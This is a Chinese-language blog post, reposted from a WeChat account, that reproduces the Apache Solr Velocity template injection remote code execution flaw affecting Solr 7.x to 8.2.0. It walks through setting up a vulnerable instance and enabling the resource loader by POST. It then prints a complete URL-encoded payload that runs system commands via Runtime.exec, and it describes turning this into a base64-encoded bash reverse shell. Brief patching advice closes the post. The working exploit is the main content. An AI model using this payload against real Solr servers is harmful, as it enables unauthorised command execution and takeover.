Solr Velocity模板远程代码复现及利用指南

admin 2021年9月29日02:21:53评论164 views字数 1884阅读6分16秒阅读模式

Solr Velocity模板远程代码复现及利用指南

0X01前言:


据消息称,安全研究员S00pY在GitHub发布了Apache Solr Velocity模板注入远程命令执行的POC.目前测试,可影响Apache Solr 7.X到8.2.0.故本地搭建环境,学习一下


Github的POC:

https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt


0X02本地搭建:


1:在Solr官网下载8.2.0版本进行复现

https://archive.apache.org/dist/luceen/solr/


2:部署到Linux上

将压缩包解压到文件夹(任意一个文件夹都可以),然后进行bin目录启动Solr(注意不是根目录中的/bin)


Solr Velocity模板远程代码复现及利用指南


在此目录打开终端,输入命令./solr start


Solr Velocity模板远程代码复现及利用指南


本地访问端口8983


Solr Velocity模板远程代码复现及利用指南


3:创建核心


先手动在/server/solr/目录下创建一个test的文件夹,然后将/server/solr/configsets/_default/下的conf目录拷贝到test目录下


Solr Velocity模板远程代码复现及利用指南


添加核心


Solr Velocity模板远程代码复现及利用指南


然后访问该核心的config文件,查看是否可以访问


Solr Velocity模板远程代码复现及利用指南


确定config配置里的两个值均为True,如果不是,在第一次攻击报文中,修改为True


Solr Velocity模板远程代码复现及利用指南


0X03复现过程:


Apache Solr默认集成VelocityResponseWriter插件,该插件初始化参数中的params.resource.loader.enabled默认值设置为false,但是可以通过POST请求直接修改集合设置,将其设置为true,然后就可以构造特殊的GET请求来实现远程代码执行。


Solr Velocity模板远程代码复现及利用指南


Solr Velocity模板远程代码复现及利用指南


然后发送执行命令的payload,这里先进行执行命令的回显.


Payload: /select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

Solr Velocity模板远程代码复现及利用指南


0X04构造EXP:


利用Velocity模板调用java语法进行命令执行,类似于传过去的就像jsp语法.这里有个坑,velocite里没有数组,改造官方POC,构造POC(exec(new String[]))就会出现问题,所以需要换一个方式,用base64编码的方法解决这个问题.


对数组的访问在Velocity中存在问题,因为Velocity只能访问对象的方法,而数组是特殊的数组,所以虽然数组可以循环列举,但不能访问特定位置的元素,如strs[2],数组对固定位置元素的访问调用了数组的反射方法get(Ojbect array,int index).而Velocity没能提供这样的访问,所以数组要么改成List等其他类容器的方式进行封装,或者通过公用Util的方式来提供,传入数组对象和要访问的位置参数,从而达到返回所需值的目的.


进一步利用,进行反弹shell利用bash反弹shell


官网POC,只能执行单个命令的缺陷:当存在|,<,>等符号时就会报错无法执行,无法进行反弹shell等问题,使用base64编码


http://www.jackson-t.ca/runtime-exec-payloads.html


然后在进行url编码,填入替换exec里的payload即可.


Solr Velocity模板远程代码复现及利用指南


0X05防御措施:


攻击者可以直接访问访问Solr控制台,通过访问节点胚子进行getshell获取权限.目前官方已有补丁,在没有补丁的情况下建议增加solr的认证模块,设置强口令,减少被入侵的风险.

Solr Velocity模板远程代码复现及利用指南

Solr Velocity模板远程代码复现及利用指南

Solr Velocity模板远程代码复现及利用指南

本文始发于微信公众号(黑白之道):Solr Velocity模板远程代码复现及利用指南

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年9月29日02:21:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Solr Velocity模板远程代码复现及利用指南http://cn-sec.com/archives/430836.html

发表评论

匿名网友 填写信息